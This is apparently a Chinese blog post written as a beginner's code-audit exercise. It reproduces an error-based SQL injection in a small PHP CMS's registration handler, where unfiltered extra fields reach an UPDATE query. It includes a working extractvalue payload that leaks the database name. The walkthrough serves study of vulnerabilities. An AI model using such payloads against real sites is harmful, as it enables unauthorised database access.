最近开始学习审计,拿一些简单cms的漏洞复现一下。源码在文末会分享出来。
0x01 index.php
<?php if(!file_exists("data/config.inc.php")){header("location:install/index.php");exit();} require dirname(__FILE__).'/system/common.inc.php'; ?>
判断是否安装了该程序。接下来跟踪 "/system/common.inc.php"看一下。
0x02 浏览程序大致流程
/system/common.inc.php中定义了一些常量,且包含了两个文件。
include(DATA_PATH."config.inc.php"); include(FUN_PATH."fun.inc.php");
接下来看一下这两个文件。
/config.inc.php 中定义了连接数据库所需要的常量。这里就不贴出来了。
主要来看fun.inc.php这个文件,一般的web应用程序都会将函数打包在一个文件里,也就是这里的fun.inc.php
这里包含了大部分用到的函数,因为是复现,所以我们只需要注意waf函数就行了。
function safe_replace($string) { $string = str_replace('%20','',$string); $string = str_replace('%27','',$string); $string = str_replace('%2527','',$string); $string = str_replace('*','',$string); $string = str_replace('"','"',$string); $string = str_replace("'",'',$string); $string = str_replace('"','',$string); $string = str_replace(';','',$string); $string = str_replace('<','<',$string); $string = str_replace('>','>',$string); $string = str_replace("{",'',$string); $string = str_replace('}','',$string); $string = str_replace('\','',$string); return $string; }
function safe_html($str){ if(empty($str)){return;} if (preg_match('/ select | insert | update | and | in | on | left | joins | delete |\%|=|/*|*| union |../|./| from | where | group | into |load_file |outfile/i',$str)){showmsg(C('error'),'-1');} return htmlspecialchars($str, ENT_COMPAT ,'GB2312'); }
这两段函数基本上把xss sql注入的路堵死了,然而漏洞出现在注册页面的附加条件中。所以我们查看一下member/index.php文件。
public function register_save(){ $username=safe_html($_POST['username']); $password=$_POST['password']; $password2=$_POST['password2']; $fields=$_POST['fields']; if(empty($username)||empty($password2)||empty($password)){ showmsg(C('material_not_complete'),'-1'); } if(!strlength($username,5)){ showmsg(C('username').C('str_len_error').'5','-1'); } if(!strlength($password,5)){ showmsg(C('password').C('str_len_error').'5','-1'); } if($password!=$password2){ showmsg(C('password_different'),'-1'); } $password=md5(md5($password)); $user_num=$this->mysql->num_rows("select * from ".DB_PRE."member where `username`='$username'"); if($user_num>0){ showmsg(C('member_exist'),'-1'); } $ip=safe_replace(safe_html(getip())); $this->mysql->db_insert('member',"`username`='".$username."',`password`='".$password."',`creat_time`='".datetime()."',`last_ip`='".$ip."',`is_lock`='0',`logins`='0',`groupid`='1'"); $last_id=$this->mysql->insert_id(); $field_sql=''; foreach($fields as $k=>$v){ $f_value=$v; if(is_array($v)){ $f_value=implode(',',$v); } $field_sql.=",`{$k}`='{$f_value}'"; } $field_sql=substr($field_sql,1);//将","去掉,剩余的插入SQL语句。 $field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}"; $query=$this->mysql->query($field_sql); showmsg(C('register_success'),'index.php?m=member&f=register'); }
这是用户注册的函数片段,通过阅读代码发现传入的$fields值并没用经过waf函数过滤,继续往下看代码,发现该变量直接被带入sql语句。并利用query()函数来执行SQL语句,跟踪query()函数。
function query($sql){ if(!$res=@mysql_query($sql,$this->ConnStr)){ echo '操作数据库失败'.mysql_error()."<br>sql:{$sql}"; } return $res; }
发现该函数调用了mysql_error()函数返回错误信息,所以这里我们可以利用mysql报错注入来获取数据库信息。这里只用一种payload进行演示。
0x03 漏洞证明
首先进入注册页面
注入点在下面的姓名和安全邮箱两个附加信息处,选一个即可,填入以下信息:
1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
点击注册,得到报错回显信息。
漏洞成功复现,是一个很简单的漏洞复现过程,作为学习审计的开始,在此记录一下。
源码下载地址:链接:https://pan.baidu.com/s/13kUSWEao1_-_RK2X_Dk1UA 密码:4g6d